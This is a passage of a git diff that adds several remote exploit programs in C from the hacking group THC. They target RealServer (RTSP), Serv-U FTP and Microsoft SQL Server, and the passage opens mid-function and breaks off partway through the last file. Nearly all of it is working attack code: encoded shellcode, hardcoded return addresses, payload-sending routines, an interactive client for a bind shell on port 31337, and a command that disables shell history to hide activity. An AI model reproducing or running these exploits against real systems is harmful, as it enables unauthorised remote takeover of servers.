(buf)); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + l = send(sock, buf, l, 0); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + } + } +} diff --git a/Exploits/THCrealbad.c b/Exploits/THCrealbad.c new file mode 100644 index 0000000..5e925f8 --- /dev/null +++ b/Exploits/THCrealbad.c @@ -0,0 +1,311 @@ +/*****************************************************************************/ +/* THCREALbad 0.5 - Wind0wZ & Linux remote root exploit */ +/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */ +/* THC PUBLIC SOURCE MATERIALS */ +/* */ +/* This exploit was an 0day from some time, but as CANVAS leaked and kiddies */ +/* exploited this bug like hell, realnetworks got info on that bug and posted*/ +/* a workaround on their site. So THC decided to release this one to the */ +/* public now. Fuck u kiddies ! BURST IN HELL ! */ +/* *//* */ +/* Also try the testing mode before exploitation of this bug, what OS is */ +/* running on the remote site, to know what type of shellcode to use. */ +/* */ +/* Greetings go to Dave Aitel of Immunitysec who found that bug. */ +/* */ +/* compile with MS Visual C++ : cl THCREALbad.c */ +/* */ +/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ +/* scut, stealth, zip, zilvio, LSD and Dave Aitel */ +/*****************************************************************************/ + +#include +#include +#include +#include + +#define WINDOWS 0 +#define LINUX 1 +#define OSTESTMODE 2 + +#pragma comment(lib, "ws2_32.lib") + +#define CMD "unset HISTFILE;uname -a;id;\n" + +char ostestmode[] = "OPTIONS / RTSP/1.0\r\n\r\n"; + +char attackbuffer1[] = +"DESCRIBE /" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../" +"../../../../../../../../../../../../../../../../../../../../"; + +char attackbuffer2[] = +".smi RTSP/1.0\r\n\r\n"; + +char decoder[] = +"\xcc\xcc\x90\x8b\xfd\x83\xc7\x37\x33\xc9\xb2\x90\x66\x81\xc1" +"\x02\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7"; + +char linuxshell[] = +"\x32\xc3\x32\xd8\x32\xca\x52\xb2\x05\x52\xb2\x02\x52\xb2\x01" +"\x52\x8a\xe2\xb0\x02\xb3\x65\xce\x83\x8a\xc2\x32\xc3\x32\xd8" +"\x53\x53\x53\x65\x6b\x79\x6a\xb0\x01\x65\x50\x8a\xe1\xb0\x13" +"\x50\xb0\x01\x51\x52\x8a\xc9\x8a\xe2\xb3\x65\xce\x83\x32\xd8" +"\x3a\xc0\x77\x06\x32\xc3\x43\xce\x83\x32\xc3\x53\x51\x8a\xe2" +"\xb0\x07\xb3\x65\xce\x83\x8a\xd4\x32\xc3\x32\xd8\x32\xca\xb0" +"\x12\xb2\x02\xb3\x33\xce\x83\x32\xc3\x32\xd8\x53\x53\x54\x8a" +"\xe2\xb0\x06\xb3\x65\xce\x83\x8a\xc5\x32\xc3\x32\xd8\xb3\x01" +"\xce\x83\x3a\xc0\x76\x43\x32\xc3\x8a\xf8\xb3\x05\xce\x83\x32" +"\xc3\x32\xca\x8a\xf0\xb3\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3" +"\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3\x3d\xfd\xc3\xce\x83\x32" +"\xc3\x53\x6b\x2c\x2c\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x88" +"\x57\x27\x0b\x53\x50\x8a\xe2\xb3\x08\xce\x83\x32\xc3\x43\xce" +"\x83\x32\xc3\x8a\xf0\xb3\x05\xce\x83\xe8\x9a"; + +char w32shell[] = +"\x7b\xb3\xea\xf9\x92\x95\xfc\xc9\x68\x8d\x0c\x4e\x1c\x41\xdc" +"\xe0\x44\x93\x60\xb7\xb0\xb0\xa0\x98\xc7\xc3\xa2\xcf\xa3\xa2" +"\xbe\xd4\xdc\xdc\x91\x7b\x95\x78\x69\x6f\x6f\x6f\xcd\x13\x7d" +"\xba\xfa\xa0\xc9\xf4\x1b\x91\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b" +"\xe8\x98\x1d\xcf\xac\x1b\x8b\x91\x6b\x1b\xcb\xe8\x91\x6b\x1b" +"\xdb\x8c\x91\x69\x1b\xc3\xb4\x91\x6a\xc3\xc1\xc2\x1b\xcb\xb0" +"\x91\x6b\xa1\x59\xd1\xa1\x50\x09\x1b\xa4\x1b\x91\x6e\x3c\xa1" +"\x52\x41\x72\x14\x50\xe5\x67\x9f\x26\xd5\x95\x1d\xd4\xd5\x94" +"\xf6\xa9\x80\xe5\x71\xf6\xa1\x80\xca\xc8\xce\xc6\xc0\xc2\xbb" +"\xde\x80\xd1\x9f\x27\x9c\xda\x1b\x94\x18\x91\x68\x9f\x26\xdd" +"\x95\x19\xd4\x1d\x48\x6e\xdd\x95\xe5\x2e\x6e\xdd\x94\xe4\xb1" +"\x6e\xdd\xb2\x1d\xcd\x88\xc3\x6f\x40\x19\x57\xfa\x94\xc8\x18" +"\xd5\x95\x10\xd5\xe7\x9a\x1d\xcd\xe4\x10\xfb\xb6\x84\x79\xe8" +"\x6f\x6f\x6f\x19\x5e\xa1\x4b\xc3\xc3\xc3\xc3\xc6\xd6\xc6\x6f" +"\x40\x07\xc5\xc8\xf6\x19\xa0\xfa\x80\xc5\xc7\x6f\xc5\x44\xde" +"\xc6\xc7\x6f\xc5\x5c\xc3\xc5\xc7\x6f\xc5\x40\x07\x1d\xd5\x18" +"\xc0\x6f\xc5\x74\xc5\xc5\x6f\xc5\x78\x1d\xd4\x95\x9c\x04\xc3" +"\xf8\xbe\xf5\xe8\xf5\xf8\xcc\xf3\xfd\xf4\x04\xa1\x42\x1d\xd5" +"\x5c\x04\xc7\xc7\xc7\xc3\xc3\x6e\x56\x91\x62\xc2\x04\x1d\xd5" +"\xe8\xc0\x1d\xd5\x18\xc0\x21\x98\xc3\xc3\xfa\x80\x6e\x5e\xc2" +"\xc3\xc3\xc3\xc5\x6f\xc5\x7c\xfa\x6f\x6f\xc5\x70"; + +void usage(); +void shell(int sock); + +int main(int argc, char *argv[]) +{ + unsigned short realport=554; + unsigned int sock,addr,os,rc; + unsigned char *finalbuffer,*osbuf; + struct sockaddr_in mytcp; + struct hostent * hp; + WSADATA wsaData; + + printf("\nTHCREALbad v0.5 - Wind0wZ & Linux remote root sploit for Realservers 8+9\n"); + printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n"); + + if(argc<3 || argc>3) + usage(); + + finalbuffer = malloc(2000); + memset(finalbuffer,0,2000); + + strcpy(finalbuffer,attackbuffer1); + os = (unsigned short)atoi(argv[2]); + switch(os) + { + case WINDOWS: + decoder[11]=0x90; + break; + case LINUX: + decoder[11]=0x03; + break; + case OSTESTMODE: + break; + default: + printf("\nillegal OS value!\n"); + exit(-1); + } + + strcat(finalbuffer,decoder); + + if(os==WINDOWS) + strcat(finalbuffer,w32shell); + else + strcat(finalbuffer,linuxshell); + + strcat(finalbuffer,attackbuffer2); + + if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) + { + printf("WSAStartup failed !\n"); + exit(-1); + } + + hp = gethostbyname(argv[1]); + + if (!hp){ + addr = inet_addr(argv[1]); + } + if ((!hp) && (addr == INADDR_NONE) ) + { + printf("Unable to resolve %s\n",argv[1]); + exit(-1); + } + + sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + if (!sock) + { + printf("socket() error...\n"); + exit(-1); + } + + if (hp != NULL) + memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length); + else + mytcp.sin_addr.s_addr = addr; + + if (hp) + mytcp.sin_family = hp->h_addrtype; + else + mytcp.sin_family = AF_INET; + + mytcp.sin_port=htons(realport); + + rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); + if(rc==0) + { + if(os==OSTESTMODE) + { + send(sock,ostestmode,sizeof(ostestmode),0); + Sleep(1000); + osbuf = malloc(2000); + memset(osbuf,0,2000); + recv(sock,osbuf,2000,0); + if(*osbuf != '\0') + for(; *osbuf != '\0';) + { + if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0)) + { + if(*osbuf == '\x53' && *(osbuf + 1) == '\x65' && *(osbuf + 2) == '\x72' && *(osbuf + 3) == '\x76' && *(osbuf + 4) == '\x65' && *(osbuf + 5) == '\x72') + { + osbuf += 7; + printf("\nDetected OS: "); + while(*osbuf != '\n') + printf("%c", *osbuf++); + printf("\n"); + break; + } + } + osbuf++; + } + free(osbuf); + } + else + { + send(sock,finalbuffer,2000,0); + printf("\nexploit send .... sleeping a while ....\n\n"); + Sleep(1000); + } + } + else + printf("can't connect to realserver port!\n"); + + shutdown(sock,1); + closesocket(sock); + free(finalbuffer); + if(os==OSTESTMODE) + exit(0); + + sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + mytcp.sin_port = htons(31337); + rc = connect(sock, (struct sockaddr *)&mytcp, sizeof(mytcp)); + if(rc!=0) + { + printf("can't connect to port 31337 ;( maybe firewalled ...\n"); + exit(-1); + } + if(os==LINUX) + send(sock,CMD,sizeof(CMD),0); + shell(sock); + exit(0); +} + +void usage() +{ + unsigned int a; + printf("\nUsage: \n"); + printf("0 = Wind0wZ\n"); + printf("1 = Linux\n"); + printf("2 = OS Test Mode\n"); + exit(0); +} + +void shell(int sock) +{ + int l; + char buf[1024]; + struct timeval time; + unsigned long ul[2]; + + time.tv_sec = 1; + time.tv_usec = 0; + + while (1) + { + ul[0] = 1; + ul[1] = sock; + + l = select (0, (fd_set *)&ul, NULL, NULL, &time); + if(l == 1) + { + l = recv (sock, buf, sizeof (buf), 0); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + l = write (1, buf, l); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + } + else + { + l = read (0, buf, sizeof (buf)); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + l = send(sock, buf, l, 0); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + } + } +} diff --git a/Exploits/THCservu.c b/Exploits/THCservu.c new file mode 100644 index 0000000..c72b4f9 --- /dev/null +++ b/Exploits/THCservu.c @@ -0,0 +1,320 @@ +/*****************************************************************************/ +/* THCservu 0.1 - Wind0wZ remote root exploit */ +/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ +/* THC PUBLIC SOURCE MATERIALS */ +/* */ +/* Credits go to kkqq@0x557.org who found that bug. */ +/* his Advisory: http://www.0x557.org/release/servu.txt */ +/* */ +/* compile with MS Visual C++ : cl THCservu.c */ +/* */ +/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ +/* scut, stealth, FtR and Random */ +/*****************************************************************************/ + +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +char *WIN2KEN = "\xc4\x2a\x02\x75"; +char *WIN2KPG = "\xc4\x2a\xf9\x74"; +char *WINXPSP1G = "\x61\x24\xa0\x71"; + +#define jumper "\xeb\x06\x4a\x43" + +char shellcode[] = +"\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02" +"\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d" +"\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8" +"\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e" +"\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb" +"\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3" +"\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04" +"\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce" +"\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f" +"\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e" +"\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38" +"\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57" +"\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2" +"\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8" +"\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41" +"\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9" +"\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43" +"\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda" +"\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea" +"\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8" +"\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07" +"\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70" +"\xda\x63\xe5\x70\x70\xda\x6f"; + + +void usage(); +void shell(int sock); + +int main(int argc, char *argv[]) +{ + unsigned short servuport; + unsigned int i,sock,sock2,addr,os,rc,rc2,dirlen,craplen=400; + unsigned char *user,*pass,*chmod,*recvbuf,*finalbuffer,*crapbuf,*directory; + unsigned char *temp; + struct sockaddr_in mytcp; + struct hostent * hp; + WSADATA wsaData; + + printf("\nTHCservu v0.1 - Servu 4.x sample exploit for the paper\n"); + printf("Practical SEH exploitation - by Johnny Cyberpunk (jcyberpunk@thc.org)\n"); + + if(argc<7 || argc>7) + usage(); + + user = malloc(256); + memset(user,0,256); + + pass = malloc(256); + memset(pass,0,256); + + chmod = malloc(128); + memset(chmod,0,128); + + directory = malloc(256); + memset(directory,0,256); + + crapbuf = malloc(512); + memset(crapbuf,0,512); + + recvbuf = malloc(256); + memset(recvbuf,0,256); + + finalbuffer = malloc(1000); + memset(finalbuffer,0,1000); + + printf("\n[*] building buffer\n"); + + sprintf(user,"user %s\r\n",argv[3]); + sprintf(pass,"pass %s\r\n",argv[4]); + strcpy(chmod,"site chmod 666 "); + + temp=malloc(256); + memset(temp,0,256); + + dirlen=strlen(argv[5]); + temp=argv[5]; + if((strncmp("\\",temp,1))!=0) + { + printf("\nGimme valid path name, ie. \\upload\n"); + exit(-1); + } + + if(dirlen!=1) + dirlen-=3; + else + dirlen-=4; + + craplen=craplen-dirlen; + + for(i=0;ih_addr,hp->h_length); + else + mytcp.sin_addr.s_addr = addr; + + if (hp) + mytcp.sin_family = hp->h_addrtype; + else + mytcp.sin_family = AF_INET; + + servuport=atoi(argv[2]); + mytcp.sin_port=htons(servuport); + + printf("[*] connecting the target\n"); + + rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); + if(rc==0) + { + rc2=recv(sock,recvbuf,256,0); + printf("[*] sending username\n"); + send(sock,user,256,0); + rc2=recv(sock,recvbuf,256,0); + printf("[*] sending password\n"); + send(sock,pass,256,0); + rc2=recv(sock,recvbuf,256,0); + if(rc2<0) + { + printf("\nError while recv() data!\n"); + exit(-1); + } + else if (memcmp(recvbuf,"530 ",4) == 0) + { + printf("\nWrong user/pass !\n"); + exit(-1); + } + else + { + _snprintf(directory,127,"cwd %s\r\n",argv[5]); + send(sock,directory,256,0); + rc2=recv(sock,recvbuf,256,0); + if (memcmp(strupr(recvbuf),"550 ",4) == 0) + { + printf("\nError changing to path %s\n",argv[5]); + exit(-1); + } + + send(sock,finalbuffer,2000,0); + printf("[*] Exploit send successfully ! Sleeping a while ....\n"); + Sleep(1000); + } + } + else + printf("\nCan't connect to ftp port!\n"); + + if(rc==0) + { + printf("[*] Trying to get a shell\n\n"); + sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + mytcp.sin_port = htons(31337); + rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp)); + if(rc!=0) + { + rc2=recv(sock,recvbuf,256,0); + if (memcmp (recvbuf, "550 ", 4) == 0) + { + printf("\nYou don't have permissions to upload!\n"); + exit(-1); + } + else + { + printf("can't connect to port 31337 ;( maybe firewalled ...\n"); + exit(-1); + } + } + shell(sock2); + } + + shutdown(sock,1); + closesocket(sock); + + free(user); + free(pass); + free(chmod); + free(directory); + free(crapbuf); + free(finalbuffer); + free(recvbuf); + + exit(0); +} + +void usage() +{ + unsigned int a; + printf("\nUsage: \n"); + printf("Sample: THCservu 194.44.55.56 21 lamer test123 \\upload 0\n"); + printf("Targets:\n"); + printf("0 - Windows 2000 Server english all service packs\n"); + printf("1 - Windows 2000 Professional german\n"); + printf("2 - Windows XP SP1 german\n"); + exit(0); +} + +void shell(int sock) +{ + int l; + char buf[1024]; + struct timeval time; + unsigned long ul[2]; + + time.tv_sec = 1; + time.tv_usec = 0; + + while (1) + { + ul[0] = 1; + ul[1] = sock; + + l = select (0, (fd_set *)&ul, NULL, NULL, &time); + if(l == 1) + { + l = recv (sock, buf, sizeof (buf), 0); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + l = write (1, buf, l); + if (l <= 0) + { + printf ("bye bye...\n"); + return; + } + } + else + { + l = read (0, buf, sizeof (buf)); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + l = send(sock, buf, l, 0); + if (l <= 0) + { + printf("bye bye...\n"); + return; + } + } + } +} diff --git a/Exploits/THCsql.c b/Exploits/THCsql.c new file mode 100644 index 0000000..828add1 --- /dev/null +++ b/Exploits/THCsql.c @@ -0,0 +1,140 @@ +/*****************************************************************************/ +/* THCsql 0.1 - MSSQL Server exploit for Server < SP3 */ +/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */ +/* THC PUBLIC SOURCE MATERIALS */ +/* */ +/* The exploit can be freely distributed ! */ +/* */ +/* This is just another exploit for the well known mssql server bug which */ +/* was found by David Litchfield last summer. Details in this advisory: */ +/* http://www.nextgenss.com/advisories/mssql-udp.txt */ +/* */ +/* This exploit was tested on an english Windows 2k Server SP2 and MSSQL */ +/* Server with SP0 and SP2 and has worked properly. The used shellcode is */ +/* completely offsetless, which makes this exploit quite stable */ +/* */ +/* After successful exploitation of this bug, a commandshell should spawn on */ +/* TCP port 31337 ! Use netcat to connect to this port ! */ +/* */ +/* If there's no connectable port 31337, maybe it's blocked by a firewall ! */ +/* */ +/* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib */ +/* */ +/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ +/* scut, stealth, zip, zilvio and the rest of the combo ...... */ +/*****************************************************************************/ + +#include +#include +#include +#include + +char badbuffer[] = +"\x04" +"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC" +"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC" +"\xdc\xc9\xb0\x42" +"\xeb\x0e" +"JC" +"THC!" +"\x01\x70\xae\x42" +"\x01\x70\xae\x42" +"\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66" +"\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16" +"\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1" +"\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71" +"\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f" +"\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d" +"\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29" +"\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce" +"\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4" +"\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c" +"\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25" +"\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc" +"\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78" +"\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30" +"\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca" +"\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2" +"\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62" +"\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca" +"\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b" +"\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1" +"\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65" +"\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66" +"\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5"; + +void usage(); + +int main(int argc, char *argv[]) +{ + unsigned short sqlport=1434; + unsigned int sock,addr,rc; + struct sockaddr_in sqludp; + struct hostent * hp; + WSADATA wsaData; + + printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n"); + printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n"); + printf("bug was found by David Litchfield\n"); + + if(argc<2) + usage(); + + if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) + { + printf("WSAStartup failed !\n"); + exit(-1); + } + + hp = gethostbyname(argv[1]); + + if (!hp){ + addr = inet_addr(argv[1]); + } + if ((!hp) && (addr == INADDR_NONE) ) + { + printf("Unable to resolve %s\n",argv[1]); + exit(-1); + } + + sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); + if (!sock) + { + printf("socket() error...\n"); + exit(-1); + } + + if (hp != NULL) + memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length); + else + sqludp.sin_addr.s_addr = addr; + + if (hp) + sqludp.sin_family = hp->h_addrtype; + else + sqludp.sin_family = AF_INET; + + sqludp.sin_port=htons(sqlport); + + rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in)); + if(rc==0) + { + send(sock,badbuffer,sizeof(badbuffer)-1,0); + printf("\nexploit send .... sleeping a while ....\n"); + Sleep(1000); + printf("\nok ... now try to connect to port 31337 via netcat !\n"); + } + else + printf("can't connect to sql port udp 1434!\n"); + + shutdown(sock,1); + closesocket(sock); + exit(0); +} + +void usage() +{ + unsigned int a; + printf("\nUsage: \n"); + exit(0); +} diff --git a/Exploits/THCunREAL.c b/Exploits/THCunREAL.c new file mode 100644 index 0000000..b999114 --- /dev/null +++ b/Exploits/THCunREAL.c @@ -0,0 +1,151 @@ +/*****************************************************************************/ +/* THCunREAL 0.2 - Wind0wZ remote root exploit */ +/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */ +/* THC PUBLIC SOURCE MATERIALS */ +/* */ +/* The exploit can be freely distributed ! */ +/* */ +/* This is the much more reliable version of the Realserver < 8.0.2 exploit */ +/* Tested with different OSes and Realserver Versions */ +/* */ +/* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554 */ +/* i noticed that 99% of the probed machines are not up2date yet ! =;O) */ +/* */ +/* The shellcode is much shorter than the one in version 0.1 now and of */ +/* course offsetless ! The encoder in front of the exploit is needed coz the */ +/* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free ! */ +/* */ +/* After successful exploitation of this bug, a commandshell should spawn on */ +/* TCP port 31337 ! Use netcat to connect to this port ! */ +/* */ +/* If there's no connectable port 31337, maybe it's blocked by a firewall ! */ +/* */ +/* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8 */ +/* runs on. I just know it's also exploitable on other OSs ! */ +/* So if u wanna exploit other platforms, try to get Realserver 8 and use */ +/* gdb to find out, how this can be exploited ! Good luck ! */ +/* */ +/* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib */ +/* */ +/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ +/* scut, stealth, zip, zilvio and the rest of the combo ...... */ +/*****************************************************************************/ + +#include +#include +#include +#include + +char w32portshell[] = +"\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83" +"\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c" +"\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5" +"\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79" +"\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c" +"\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a" +"\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc" +"\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc" +"\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1" +"\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40" +"\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a" +"\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8" +"\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8" +"\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70" +"\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc" +"\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d" +"\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60" +"\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1" +"\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d" +"\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62" +"\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70" +"\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60" +"\xca\x60\xd9\x5f\xca\xca\x60\xd5"; + +void usage(); + +int main(int argc, char *argv[]) +{ + unsigned short realport=554; + unsigned int sock,addr,i,rc; + unsigned char exploit_buffer[4132]; + unsigned long retloc1,retloc2,retaddr; + struct sockaddr_in mytcp; + struct hostent * hp; + WSADATA wsaData; + + printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n"); + printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n"); + + if(argc<2) + usage(); + + retloc1 = 0x6235108c; + retloc2 = 0x623514b6; + retaddr = 0x62354f5e; + + memset(exploit_buffer,'Z',4131); + memcpy(exploit_buffer,"SETUP /",7); + *(unsigned long *)&exploit_buffer[4082] = retloc1; + *(unsigned long *)&exploit_buffer[4086] = retloc2; + memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell)); + *(unsigned long *)&exploit_buffer[4090] = retaddr; + memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5); + memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33); + + if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) + { + printf("WSAStartup failed !\n"); + exit(-1); + } + + hp = gethostbyname(argv[1]); + + 